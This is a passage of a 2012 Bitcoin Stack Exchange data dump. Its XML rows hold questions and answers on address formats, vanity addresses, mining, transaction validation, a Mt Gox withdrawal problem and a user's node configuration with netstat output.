  <row Id="5699" PostTypeId="2" ParentId="5696" CreationDate="2012-12-10T06:00:26.613" Score="13" Body="&lt;p&gt;The characters excluded in Base58 are 0OIl. oiL are allowed, making these two valid addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is impossible to send to an invalid address, as Bitcoin transaction scripts actually include raw 160-bit hashes (which by definition have a one-to-one correspondence with valid addresses), not addresses. Bitcoin clients will simply refuse to do anything if an invalid address is given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is probably no problem with 1Boxo846yTDLHgKM94aYseHBnCjJ4eYbzb. The problem with 1BitcoinEaterAddressDontSendf59kuE is that, given an English dictionary, it has very low &lt;a href=&quot;http://en.wikipedia.org/wiki/Kolmogorov_complexity&quot;&gt;Kolmogorov complexity&lt;/a&gt;, making it extremely unlikely that anyone has a private key (or even a public key) for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, 1111111111111111111114oLvT2 is known to correspond to the public key hash 0, which is so simple it is again extremely unlikely anyone has the keys for it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-10T09:28:48.487" LastActivityDate="2012-12-10T09:28:48.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5700" PostTypeId="2" ParentId="5695" CreationDate="2012-12-10T06:07:22.393" Score="24" Body="&lt;p&gt;Colored coins are a method to track the origin of bitcoins, so that a certain set of coins can be set aside and conserved, allowing a party to acknowledge them in various ways. Such coins can be used to represent arbitrary digital tokens, such as stocks, bonds, smart property and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colored coins protocol is decentralized just like Bitcoin, but the current effort to develop an implementation is done under the &lt;a href=&quot;http://bitcoinx.org&quot;&gt;BitcoinX&lt;/a&gt; project (tentative name), which also aims to provide some related services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is still under development, you will not find any existing examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about it in &lt;a href=&quot;https://bitcoil.co.il/BitcoinX.pdf&quot;&gt;Overview of colored coins&lt;/a&gt; (work in progress).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-10T06:07:22.393" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5701" PostTypeId="2" ParentId="5664" CreationDate="2012-12-10T14:10:24.530" Score="1" Body="&lt;p&gt;For the Bitcoin Protocol to serve its purpose, every Client needs to process Transactions in the same matter. For a new kind of Transaction to be introduced and be spendable, it either needs to conform to the current rules (for example, be possible to execute using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt;), or be accepted by every Client (ideally). If one was to implement a new Transaction kind without people conforming to it, in the best scenario the Transaction would become unspendable, in the worst - it would not be processed by the Clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To introduce an option of creating &quot;any kinds of Transactions&quot;, one would need to create some new version of the Script or something similar. Moreover, this Script would have to be still resistant to malicious attacks (for example, no loops or similar ways to make a lot of Clients lose a lot of computational resources checking the Transaction validity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it might be possible to generalise creating some broad spectrum of Transactions with some changes to the Protocol, but those changes would have to be accepted by everyone. It is highly unlikely one will ever be able to create a new kind of Transaction at a whim.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-10T14:10:24.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5702" PostTypeId="2" ParentId="5630" CreationDate="2012-12-10T14:39:21.333" Score="1" Body="&lt;p&gt;The math behind those graphs is pretty simple, the main problem is crawling through the data and creating readable images automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty (red line) can always be read from the generated Blocks, no problem there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/3/7/14/whatever-window estimates I assume are calculated by counting how many Blocks were generated in a given time period and at what difficulty. In general I guess it should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Estimate = (Difficulty * MeasurementTime) / (10 minutes * BlockCount)&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-10T14:39:21.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5703" PostTypeId="1" AcceptedAnswerId="5705" CreationDate="2012-12-10T14:48:00.930" Score="1" ViewCount="731" Body="&lt;p&gt;Do vanity addresses somehow decrease the security of my private key?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-12-10T14:31:53.113" Title="Do vanity addresses lower the security of my key? (reduced complexity)" Tags="|security|vanity-address|cryptography|base58|vanitygen|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5705" PostTypeId="2" ParentId="5703" CreationDate="2012-12-10T15:04:11.460" Score="1" Body="&lt;p&gt;No they do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A vanity adress is only trying to pattern match a specific part of an address. The complexity remains the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the vanity address it usually takes millions of attempts per second to find a public key which matches your pattern. This is done by cycling through private keys and and checking the corresponding public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an attacked was to do the same thing then they would still need to cycle through every combination of your pattern aswell, which is just as extensive.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2012-12-10T15:53:58.510" LastActivityDate="2012-12-10T15:53:58.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5706" PostTypeId="1" CreationDate="2012-12-10T15:36:41.630" Score="4" ViewCount="483" Body="&lt;p&gt;I ran vanitygen and oclvanitygen on the same machine, and realized after my run that both exe's share the same output file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had experience in the past where many programs append to the same TXT file that corruption might happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of the source of the corruption, what is the most complete way to validate a key created by vanitygen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the developer tag since I'm looking to do validation in bulk.  Command line scripts also work.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-10T16:11:20.743" LastActivityDate="2019-02-28T13:18:35.247" Title="How can I test and verify a vanity key before I send coins to it?" Tags="|development|encryption|vanitygen|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5707" PostTypeId="2" ParentId="5706" CreationDate="2012-12-10T16:01:02.430" Score="0" Body="&lt;p&gt;My best recommendation is to try and import the private key into &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/&lt;/a&gt; service. This can be found under the advanced tab of the wallet. The corresponding public key will be added into your wallet for deposits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second option which does not require and account is to go via &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org&lt;/a&gt; and parse it with the vanity address tab.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-12-10T16:01:02.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5708" PostTypeId="1" AcceptedAnswerId="5709" CreationDate="2012-12-10T21:14:27.437" Score="5" ViewCount="141" Body="&lt;p&gt;I have a question about practical implementation of one part of Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reading the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&quot;&gt;Protocol Rules for Bitcoin - &quot;tx&quot; messages&lt;/a&gt; and point 14 states that &quot;For each input, if the referenced output has already been spent by a transaction in the main branch, reject this transaction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the client validate that output has not been spent? It seems that it should remember all transations and amount of Bitcoins for all known addresses. This would take a lot of memory to store them all. Is there an optimization I'm not aware of?&lt;/p&gt;&#xA;" OwnerUserId="2405" LastActivityDate="2012-12-10T21:42:01.910" Title="Verifying transation inputs" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5709" PostTypeId="2" ParentId="5708" CreationDate="2012-12-10T21:42:01.910" Score="3" Body="&lt;p&gt;Actually, that is exactly what happens, and it is the reason why synchronizing the block chain is so slow: we download all blocks, with all transaction history in it, and build and maintain an index that states which transaction output was spent or not, and even where it was spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of 0.8, the reference client will switch to a new model where no such index is maintained anymore. Instead, it will maintain a copy of the set of transactions, but only with their not-yet-spent outputs, which is much smaller than the full data (around 150 MiB as of writing, december 10, 2012).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-10T21:42:01.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5710" PostTypeId="1" AcceptedAnswerId="5712" CreationDate="2012-12-10T23:30:58.773" Score="4" ViewCount="777" Body="&lt;p&gt;I am experimenting with leaving a public replica of the Bitcoin chain on the internet.  In doing so I'm actively monitoring the debug output so I can get a sense of what is happening with the inbound connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell what the clients are doing and respond appropriately? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under what criteria should I block a port to an IP address, subnet, etc?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-11T19:42:53.487" Title="How can I tell if someone is trying to hack port 8333?" Tags="|blockchain|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5711" PostTypeId="2" ParentId="5659" CreationDate="2012-12-11T03:44:54.693" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://Localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;Localbitcoins.com&lt;/a&gt; is best for bank transfers now. You don't need to live near the seller, just have an account in GBP to transfer £ to the seller's account. You can search for all sellers within X miles of a city near the middle of the UK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However be careful, since the &lt;a href=&quot;http://Localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;Localbitcoins.com&lt;/a&gt; system isn't designed for bank transfers. Review the profiles carefully if you use this method.&lt;/p&gt;&#xA;" OwnerUserId="2407" LastEditorUserId="1409" LastEditDate="2012-12-12T17:15:26.267" LastActivityDate="2012-12-12T17:15:26.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5712" PostTypeId="2" ParentId="5710" CreationDate="2012-12-11T07:06:56.557" Score="3" Body="&lt;p&gt;You are looking for ways to improve the client's protections against flaws? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of its current protections:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Weaknesses#Denial_of_Service_.28DoS.29_attacks&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Weaknesses#Denial_of_Service_.28DoS.29_attacks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-11T19:42:53.487" LastActivityDate="2012-12-11T19:42:53.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5714" PostTypeId="1" CreationDate="2012-12-11T13:07:53.537" Score="3" ViewCount="1648" Body="&lt;p&gt;Vanitygen has the option for a file to contain random numbers as an alternative to the built-in random number generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to generate this file on Windows, OSX? (and Linux)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the range of each number (upper and lower bound)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct format of the file (CRLF, LF only)?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2021-07-15T09:05:42.817" Title="Need a random seed for vanitygen; where can I obtain one?" Tags="|vanitygen|random|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5715" PostTypeId="1" AcceptedAnswerId="5716" CreationDate="2012-12-11T13:29:53.707" Score="7" ViewCount="527" Body="&lt;p&gt;It seems counter-intuitive that the current block can be hashed and transactions can be added to it, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=165.msg1595#msg1595&quot;&gt;however that is what this thread indicates.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me connect the dots (not necessarily regarding that linked network attack) and understand how something under active computation can have its underlying data (list of transactions) changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if a tx isn't &quot;bound&quot; to a block via hashing, how do they relate to each other?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-01-06T03:04:23.827" Title="How is it possible that transactions can be added to a block currently being mined?" Tags="|transactions|block|hash|learning|merkle-tree|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5716" PostTypeId="2" ParentId="5715" CreationDate="2012-12-11T14:44:41.007" Score="8" Body="&lt;p&gt;You're thinking that mining a block is a single long computing process, like computing the trillionth digit of pi or something like that. This is wrong. Each attempt at solving a block takes almost no time at all, and each attempt is independent of the others. Miners make many attempts every second. Each attempt has a very small chance of solving the block. It's a lottery, not a race. Modifying the block between attempts isn't a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another common misconception related to this is that everyone is working on the same block. This is also false. Every miner works on a different block.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-12-11T14:44:41.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5717" PostTypeId="2" ParentId="5715" CreationDate="2012-12-11T14:45:56.947" Score="4" Body="&lt;p&gt;Mining is a series of independent attempts at finding a good hash for a block.&#xA;Since all attempts are independent from each other, modifying the block between one attempt and the other have no negative effect.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2014-01-05T13:53:15.917" LastActivityDate="2014-01-05T13:53:15.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5718" PostTypeId="1" CreationDate="2012-12-11T14:59:02.223" Score="1" ViewCount="114" Body="&lt;p&gt;I am looking to construct a raw transaction with the following properties: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;n addresses (call them a) input at least b BTC each. &lt;/li&gt;&#xA;&lt;li&gt;n addresses (call them a') may claim up to b BTC each as output. &lt;/li&gt;&#xA;&lt;li&gt;No output may be claimed unless every output may be claimed. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have made a sketch of what I think the tx should look like. It's just an extension of a standard address tx: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For each address i in a)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input: &#xA;&#xA;    Previous tx: &amp;lt;some tx with an output &amp;gt;= b that i may claim&amp;gt;&#xA;    Index: &amp;lt;an appropriate index from the above txn&amp;gt;&#xA;    scriptSig: &amp;lt;signature from i&amp;gt; &amp;lt;public key for i&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(For each address i in a')&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Output: &#xA;&#xA;    Value: &amp;lt;b&amp;gt;&#xA;    scriptPubKey: OP_DUP OP_HASH160 &amp;lt;hash of i's public key&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this appear correct? &lt;/p&gt;&#xA;" OwnerUserId="2409" LastActivityDate="2012-12-11T14:59:02.223" Title="Constructing (a Type of) Multi-party Transaction" Tags="|transactions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5719" PostTypeId="1" CreationDate="2012-12-11T15:35:22.123" Score="3" ViewCount="1262" Body="&lt;p&gt;I have been trying to withdraw $7000 US dollars from Mt Gox to Dwolla for over a week.  I am currently level 1 verified at Mt Gox, so my strategy has been to withdraw $1000 every 24 hours for 7 days until I am able to withdraw $7000.  The total of my withdraws from Mt Gox has been $2000 over the past 2 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to withdraw $1000 twice last week using two separate $1000 transactions 24 hours apart.  But after these two initial $1000 withdraws occurred, subsequent my withdraws have not been successful.  During these unsuccessful withdraw attempts, the Mt Gox web interface says the transactions are being processed with a pleasant green-colored background to the message, and my USD balance decrements by $1000 each time I initiate the $1000 withdraw request.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the Mt Gox message I receive for &lt;strong&gt;unsuccessful&lt;/strong&gt; withdraw attemps:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A5wg3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, several minutes after submitting the request, my balance returns to the previous amount from before the request by going back to the original balance.  No transaction ever occurs, and there is no message or notification the request has been canceled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I submitted a ticket to Mt Gox for technical support, but their answers are not satisfactory.  Mt Gox tech support reps told me the system canceled my withdraw requests and told me &quot;I should try it again.&quot;  But when I try again I have the same result - transfer does not go through.  Mt Gox tech support has not been clear about what I should do to resolve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have this message on my account, even though my balance of USD is approximatly $5000 USD:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xkzLn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to successfully transfer USD from Mt Gox to Dwolla in my current situation?  I have no reason to believe my sitaution is different from anyone else who is Level 1 verified at Mt Gox, so perhaps Mt Gox and Dwolla are having difficulties.  If transferring USD from Mt Gox to Dwolla is not possible in my situation, can I somehow move USD from Mt Gox to a bank account using another method?  I prefer to avoid wire transfers as they are expensive and tedious.&lt;/p&gt;&#xA;" OwnerUserId="830" LastEditorUserId="830" LastEditDate="2012-12-11T23:09:00.997" LastActivityDate="2014-03-23T08:22:59.827" Title="How to withdraw dollars to Dwolla from Mt Gox" Tags="|mtgox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5720" PostTypeId="1" AcceptedAnswerId="7746" CreationDate="2012-12-11T15:38:28.877" Score="5" ViewCount="309" Body="&lt;p&gt;Are &quot;move&quot; operations logged somewhere in the wallet or somewhere else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, can the &quot;move history&quot; be retrieved, and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: apparently the command &lt;code&gt;listtransactions&lt;/code&gt; lists some &lt;code&gt;move&lt;/code&gt; operations, but not all, and I have no clue if there is some criteria, or it is simply bugged.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-02-16T08:50:16.510" LastActivityDate="2013-02-17T17:55:35.813" Title="Are &quot;move&quot; operations logged?" Tags="|bitcoin-core-accounts|movecmd|logging|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5721" PostTypeId="1" CreationDate="2012-12-11T15:44:46.537" Score="0" ViewCount="2624" Body="&lt;p&gt;I've had a Windows host up at 23.23.246.5 for both Bitcoin and Namecoin and I'd like to make sure its configured correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far when I run a netstat I see the services below and a few things bother me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is Bitcoind listening on port 80?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why are there no inbound connections to Bitcoin (Prod or Test) or Namecoin?  When will I see them?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the target host 92.243.23.21:6667 running IRC? If so what is that for?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any questionable connections here?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bitcoin Launch Parameters&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bitcoind -debug -server -detachdb -printtodebugger -printtoconsole&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#noirc=0&#xA;server=0&#xA;rpcuser=Ulysseys&#xA;rpcpassword=YourSuperGreatPasswordNumber_DO_NOT_USE_THIS_OR_YOU_WILL_GET_ROBBED&#xA;#rpctimeout=30&#xA;rpcallowip=x.x.x.x  &amp;lt;-- my trusted IP set&#xA;rpcallowip=x.x.x.x  &amp;lt;-- my trusted IP set #2&#xA;rpcallowip=x.x.x.x  &amp;lt;-- my trusted IP set #3&#xA;rpcport=8332&#xA;#rpcconnect=127.0.0.1&#xA;#rpcssl=1&#xA;#rpcsslciphers=TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH&#xA;#rpcsslcertificatechainfile=server.cert&#xA;#rpcsslprivatekeyfile=server.pem&#xA;#allowreceivebyip=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Namecoin Launch Parameters&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;namecoind -debug -server -detachdb -printtodebugger -printtoconsole&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=asdf&#xA;rpcpassword=asdf&#xA;#rpctimeout=30&#xA;#rpcport=8336&#xA;#rpcconnect=127.0.0.1&#xA;#rpcssl=1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bitcoin Testnet Launch Parameters&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bitcoind -debug -server -detachdb -printtodebugger -printtoconsole -testnet -rpcport=18332&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;NOTE: No bitcoin.conf is present in &lt;code&gt;C:\Users\me\AppData\Roaming\Bitcoin\testnet3&lt;/code&gt; directory  assuming it is using &lt;code&gt;\..&lt;/code&gt; parent directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\Administrator&amp;gt;netstat   -a -n -b -s&#xA;&#xA;  Proto  Local Address          Foreign Address        State           PID&#xA;  TCP    0.0.0.0:8332           0.0.0.0:0              LISTENING       2624&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:8333           0.0.0.0:0              LISTENING       2624&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:8334           0.0.0.0:0              LISTENING       2928&#xA; [namecoind.exe]&#xA;  TCP    0.0.0.0:8336           0.0.0.0:0              LISTENING       2928&#xA; [namecoind.exe]&#xA;  TCP    0.0.0.0:18332          0.0.0.0:0              LISTENING       2660&#xA; [bitcoind.exe]&#xA;  TCP    0.0.0.0:18333          0.0.0.0:0              LISTENING       2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:49163    92.243.23.21:6667      ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:49164    69.64.46.74:18333      ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:49167    96.241.176.56:18333    ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:49170    94.23.34.31:18333      ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:49181    97.107.137.243:8334    ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:49182    46.254.14.136:8334     ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:49183    176.36.33.121:8334     ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:49186    12.23.127.175:8334     ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:49193    176.31.128.16:8334     ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:49194    96.127.133.36:8334     ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:49220    54.243.38.85:18333     ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:49304    178.63.48.141:18333    ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:50504    193.107.204.81:6667    ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:53098    173.208.219.162:18333  ESTABLISHED     2660&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:53537    99.230.227.73:8333     ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:55713    94.236.165.24:8333     ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:55716    74.196.224.251:8333    ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:56470    195.182.5.221:8334     ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:57000    96.60.218.202:8333     ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:57083    91.121.174.223:8334    ESTABLISHED     2928&#xA; [namecoind.exe]&#xA;  TCP    10.193.55.114:59585    173.167.113.73:8333    ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:60574    77.232.139.69:8333     ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:63469    89.79.247.234:8333     ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    10.193.55.114:63916    92.241.227.145:8333    ESTABLISHED     2624&#xA; [bitcoind.exe]&#xA;  TCP    [::]:8332              [::]:0                 LISTENING       2624&#xA; [bitcoind.exe]&#xA;  TCP    [::]:8333              [::]:0                 LISTENING       2624&#xA; [bitcoind.exe]&#xA;  TCP    [::]:18332             [::]:0                 LISTENING       2660&#xA; [bitcoind.exe]&#xA;  TCP    [::]:18333             [::]:0                 LISTENING       2660&#xA; [bitcoind.exe]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="47827" LastEditDate="2023-03-01T16:47:28.257" LastActivityDate="2023-03-01T16:47:28.257" Title="Is my p2p server set up correctly? When will I see inbound connections on 8333?" Tags="|bitcoind|testnet|windows|p2p|port|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5722" PostTypeId="5" CreationDate="2012-12-11T15:58:02.730" Score="0" Body="&lt;p&gt;A command to move some credit from one &lt;a href=&quot;/questions/tagged/accounts&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'accounts'&quot; rel=&quot;tag&quot;&gt;accounts&lt;/a&gt; to another&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual command is called &quot;move&quot;, but using &quot;movecmd&quot; as a tag will prevent confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(&quot;movecmd&quot; is how that command is called internally, in the bitcoind sources)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-12-11T18:10:17.050" LastActivityDate="2012-12-11T18:10:17.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5723" PostTypeId="4" CreationDate="2012-12-11T15:58:02.730" Score="0" Body="A command to move some credit from one account to another&#xD;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-12-11T18:10:24.240" LastActivityDate="2012-12-11T18:10:24.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5724" PostTypeId="2" ParentId="5659" CreationDate="2012-12-11T16:22:01.127" Score="3" Body="&lt;p&gt;We offer 3 deposit methods for UK users:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Faster Payments - &lt;a href=&quot;https://blockchain.info/wallet/deposit-bank-transfer&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/deposit-bank-transfer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PingIt - &lt;a href=&quot;https://blockchain.info/wallet/deposit-pingit&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/deposit-pingit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sofort Banking - &lt;a href=&quot;https://blockchain.info/wallet/deposit-sofort-banking&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/deposit-sofort-banking&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2012-12-11T17:35:16.797" LastActivityDate="2012-12-11T17:35:16.797" CommentCount="1" ContentLicense="CC BY-SA 